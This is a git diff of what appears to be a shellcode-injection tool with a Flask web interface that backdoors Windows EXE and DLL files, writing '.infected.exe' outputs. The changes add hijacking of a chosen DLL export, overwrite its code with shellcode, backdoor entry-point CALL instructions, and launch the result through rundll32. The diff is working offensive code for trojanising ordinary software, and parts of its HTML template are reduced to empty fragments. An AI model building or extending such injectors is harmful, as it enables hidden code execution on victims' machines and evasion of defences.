diff --git a/app/templates/project.html b/app/templates/project.html index 3390ffc..bb82234 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -12,7 +12,7 @@
- +
@@ -46,7 +46,7 @@ {% endif %}
- +
@@ -74,14 +74,24 @@ > {{exe}} {% endfor %} - + + {% if exports != None %} + + {% endif %} Is x64: {{ is_64}}
Is Dotnet: {{ is_dotnet}}
- +
+ +
- - - - - - - - - - + placeholder="Comment" value="" + aria-label="PROJECTNAME" aria-describedby="basic-addon1"> diff --git a/app/views_project.py b/app/views_project.py index 514822f..5ad6c58 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -48,20 +48,28 @@ def project(name): if os.path.exists(exe_path): is_built = True - superpe = SuperPe(project.settings.inject_exe_in) - is_64 = superpe.is_64() - is_dotnet = superpe.is_dotnet() + exports = None + is_64 = False + is_dotnet = False + + # Only when we selected an input file + if project.settings.inject_exe_in != "": + superpe = SuperPe(project.settings.inject_exe_in) + is_64 = superpe.is_64() + is_dotnet = superpe.is_dotnet() + if superpe.is_dll(): + exports = [ "", "BZ2_blockSort" ] project_dir = os.path.dirname(os.path.abspath(project.settings.inject_exe_out)) log_files = get_logfiles(project.settings.main_dir) - exes = [] + exes = [ "" ] for file in os.listdir(PATH_EXES): exes.append(PATH_EXES + file) for file in os.listdir(PATH_EXES_MORE): exes.append(PATH_EXES_MORE + file) - shellcodes = [] + shellcodes = [ "" ] for file in os.listdir(PATH_SHELLCODES): shellcodes.append(file) @@ -80,6 +88,7 @@ def project(name): function_invoke_styles=function_invoke_styles, decoderstyles=decoderstyles, carrier_invoke_styles=carrier_invoke_styles, + exports=exports, log_files=log_files, is_64=is_64, @@ -95,62 +104,47 @@ def add_project(): project_name = request.form['project_name'] comment = request.form['comment'] - settings.payload_path = PATH_SHELLCODES + request.form['shellcode'] - if request.form['shellcode'] == "createfile.bin": - settings.verify = True - settings.try_start_final_infected_exe = False + # new project? + if storage.get_project(project_name) == None: + # add new project + project = WebProject(project_name, settings) + project.comment = comment + storage.add_project(project) + + # update project else: - settings.cleanup_files_on_exit = False + settings.payload_path = PATH_SHELLCODES + request.form['shellcode'] + if request.form['shellcode'] == "createfile.bin": + settings.verify = True + settings.try_start_final_infected_exe = False + else: + settings.cleanup_files_on_exit = False - settings.inject_exe_in = request.form['exe'] - settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe") + if 'dllfunc' in request.form: + settings.dllfunc = request.form['dllfunc'] - source_style = request.form['source_style'] - settings.source_style = FunctionInvokeStyle[source_style] + settings.inject_exe_in = request.form['exe'] + settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe") - carrier_invoke_style = request.form['carrier_invoke_style'] - settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] + source_style = request.form['source_style'] + settings.source_style = FunctionInvokeStyle[source_style] - decoder_style = request.form['decoder_style'] - settings.decoder_style = DecoderStyle[decoder_style] + carrier_invoke_style = request.form['carrier_invoke_style'] + settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] + + decoder_style = request.form['decoder_style'] + settings.decoder_style = DecoderStyle[decoder_style] - if storage.get_project(project_name) != None: # overwrite project project = storage.get_project(project_name) project.settings = settings project.comment = comment storage.save_project(project) - else: - # add new project - project = WebProject(project_name, settings) - project.comment = comment - storage.add_project(project) return redirect("/project/{}".format(project_name), code=302) else: # GET - exes = [] - for file in os.listdir(PATH_EXES): - exes.append(PATH_EXES + file) - - for file in os.listdir(PATH_EXES_MORE): - exes.append(PATH_EXES_MORE + file) - - shellcodes = [] - for file in os.listdir(PATH_SHELLCODES): - shellcodes.append(file) - - function_invoke_styles = [(color.name, color.value) for color in FunctionInvokeStyle] - decoderstyles = [(color.name, color.value) for color in DecoderStyle] - carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle] - - return render_template('project_add_get.html', - exes=exes, - shellcodes=shellcodes, - function_invoke_styles=function_invoke_styles, - decoderstyles=decoderstyles, - carrier_invoke_styles=carrier_invoke_styles, - ) + return render_template('project_add_get.html') def supermega_thread(settings: Settings): @@ -164,6 +158,12 @@ def build_project(project_name): global thread_running project = storage.get_project(project_name) + + if project.settings.inject_exe_in.endswith(".dll"): + if project.settings.dllfunc == "": + logger.error("DLL injection requires a DLL function name") + return redirect("/project/{}".format(project_name), code=302) + project.settings.try_start_final_infected_exe = False prepare_project(project_name, project.settings) thread = Thread(target=supermega_thread, args=(project.settings, )) @@ -224,7 +224,7 @@ def start_project(project_name): logger.info("--[ Verify infected exe") exit_code = verify_injected_exe(project.settings.inject_exe_out) elif no_exec == False: - run_exe(project.settings.inject_exe_out) + run_exe(project.settings.inject_exe_out, dllfunc=project.settings.dllfunc, check=False) elif no_exec == True: dirname = os.path.dirname(os.path.abspath(project.settings.inject_exe_out)) logger.info("--[ Open folder: {}".format(dirname)) diff --git a/helper.py b/helper.py index e88d53c..66b8dac 100644 --- a/helper.py +++ b/helper.py @@ -49,11 +49,13 @@ def clean_files(settings): pathlib.Path(file).unlink(missing_ok=True) -def run_exe(exefile, check=True): +def run_exe(exefile, dllfunc="", check=True): logger.info("--[ Start infected file: {}".format(exefile)) if exefile.endswith(".dll"): - args = [ "rundll32.exe", "{},BZ2_blockSort".format(exefile) ] + if dllfunc == "": + raise Exception("---[ No DLL function specified") + args = [ "rundll32.exe", "{},{}".format(exefile, dllfunc) ] elif exefile.endswith(".exe"): args = [ exefile ] else: diff --git a/model/settings.py b/model/settings.py index c8e2f50..443122b 100644 --- a/model/settings.py +++ b/model/settings.py @@ -14,6 +14,8 @@ class Settings(): self.dataref_style: DataRefStyle = DataRefStyle.APPEND self.short_call_patching: bool = False + self.dllfunc: str = "" # For DLL injection + # Injectable self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr self.inject_exe_in: FilePath = "" diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index d382898..d233c77 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -30,7 +30,7 @@ class PeBackdoor: self.backdoorOffsetRel: int = 0 # from start of the code section - def injectShellcode(self): + def injectShellcode(self, dllfunc=""): sect = self.superpe.get_code_section() if sect == None: logger.error('Could not find code section in input PE file!') @@ -46,14 +46,14 @@ Code section size : {sect_size} ''') if self.superpe.is_dll(): - offset = self.getExportEntryPoint("BZ2_blockSort") - logger.info("Inserting shellcode into DLL at 0x{:X} (sizes: sect {} shellcode {})".format( - offset, sect_size, len(self.shellcodeData) + offset = self.getExportEntryPoint(dllfunc) + logger.info("--[ Inserting shellcode into DLL at offset 0x{:X} (in {})".format( + offset, sect_name )) else: offset = int((sect_size - len(self.shellcodeData)) / 2) - logger.info("Inserting shellcode into EXE at 0x{:X} (sizes: sect {} shellcode {})".format( - offset, sect_size, len(self.shellcodeData) + logger.info("--[ Inserting shellcode into EXE at offset 0x{:X} (in {})".format( + offset, sect_name )) self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData) @@ -74,7 +74,7 @@ Trailing {sect_name} bytes: {hexdump(self.superpe.pe.get_data(self.superpe.pe.get_rva_from_offset(p)), p, 64)} ''', '\t') - logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:X}') + logger.info(f'---[ Shellcode injected into existing code section at RVA 0x{rva:X}') logger.debug(graph) return True @@ -104,13 +104,13 @@ Trailing {sect_name} bytes: dec = lambda x: '???' if x is None else x.decode() if len(exportName) == 0: - logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export') + raise Exception('Export name not specified! Specify DLL Exported function name to hijack') d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] self.superpe.pe.parse_data_directories(directories=d) if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: - logger.error('No DLL exports found! Specify existing DLL Exported function with -e/--export!') + logger.error('No DLL exports found! Specify existing DLL Exported function') return -1 exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols] @@ -124,6 +124,25 @@ Trailing {sect_name} bytes: return addr return -1 + + + def getRandomExport(self, choose_random=False): + dec = lambda x: '???' if x is None else x.decode() + d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] + self.superpe.pe.parse_data_directories(directories=d) + + if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0: + raise Exception('No DLL exports found! Specify existing DLL Exported function') + + exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols] + export = exports[0] + if choose_random: + export = exports[0] + + name = export[1] + addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address + logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...') + return name def backdoorEntryPoint(self, addr = -1): @@ -203,7 +222,7 @@ Trailing {sect_name} bytes: found |= instr.mnemonic.lower() == 'call' if found: - logger.info(f'Backdooring entry point {instr.mnemonic.upper()} instruction at 0x{instr.address:X} into:') + logger.info(f'--[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:') jump = random.choice([ f'CALL {reg}', diff --git a/phases/injector.py b/phases/injector.py index 5be8a30..1c6a44a 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -44,13 +44,17 @@ def inject_exe( superpe = SuperPe(exe_in) pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style) - if not pe_backdoorer.injectShellcode(): + if superpe.is_dll() and settings.dllfunc == "": + raise Exception("DLL injection requires a DLL function name") + + if not pe_backdoorer.injectShellcode(dllfunc=settings.dllfunc): logger.error('Could not inject shellcode into PE file!') return False - if not pe_backdoorer.setupShellcodeEntryPoint(): - logger.error('Could not setup shellcode launch within PE file!') - return False + if True: # not superpe.is_dll(): + if not pe_backdoorer.setupShellcodeEntryPoint(): + logger.error('Could not setup shellcode launch within PE file!') + return False logger.info("--[ Rewrite placeholders with their data") if source_style == FunctionInvokeStyle.iat_reuse: @@ -161,12 +165,12 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost): superpe.write_code_section_data(code) -def verify_injected_exe(exefile: FilePath) -> int: +def verify_injected_exe(exefile: FilePath, dllfunc="") -> int: logger.info("---[ Verify infected exe: {} ".format(exefile)) # remove indicator file pathlib.Path(VerifyFilename).unlink(missing_ok=True) - run_exe(exefile, check=False) + run_exe(exefile, dllfunc=dllfunc, check=False) time.sleep(SHC_VERIFY_SLEEP) if os.path.isfile(VerifyFilename): logger.info("---> Verify OK. Infected exe works (file was created)") diff --git a/supermega.py b/supermega.py index 8dab745..dabba62 100644 --- a/supermega.py +++ b/supermega.py @@ -195,7 +195,7 @@ def start_real(settings: Settings): if payload_exit_code != 0: raise Exception("Payload exit code: {}".format(payload_exit_code)) elif settings.try_start_final_infected_exe: - run_exe(settings.inject_exe_out) + run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc) def obfuscate_shc_loader(file_shc_in, file_shc_out):